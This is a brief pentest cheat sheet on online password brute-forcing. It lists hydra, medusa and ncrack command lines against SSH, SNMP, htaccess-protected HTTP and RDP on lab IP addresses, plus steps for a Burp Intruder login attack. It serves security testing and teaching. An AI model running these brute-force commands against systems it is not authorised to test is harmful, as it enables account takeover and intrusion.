Online password cracking

There are several tools specialized for bruteforcing online. There are several different services that are common for bruteforce. For example: VNC, SSH, FTP, SNMP, POP3, HTTP.

Port 22 - SSH

```
hydra -l root -P wordlist.txt 192.168.0.101 ssh
hydra -L userlist.txt -P best1050.txt 192.168.1.103 -s 22 ssh -V
```

Port 80/443 htaccess

You can password protect directories with apache pretty easily. Just configure the htaccess (I exaplin this in the chapter on Common ports).

It can then be brute forced like this:

```
medusa -h 192.168.1.101 -u admin -P wordlist.txt -M http -m DIR:/test -T 10
```

Logins

Use Burp suite.

1. Intecept a login attempt.
2. Right-lick "Send to intruder". Select Sniper if you have nly one field you want to bruteforce. If you for example already know the username. Otherwise select cluster-attack.
3. Select your payload, your wordlist.
4. Click attack.
5. Look for response-length that differs from the rest.

Port 161 - SNMP

```
hydra -P wordlist.txt -v 102.168.0.101 snmp
```

Port 3389 - Remote Desktop Protocol

For RDP we can use Ncrack.

```
ncrack -vv --user admin -P password-file.txt rdp://192.168.0.101
```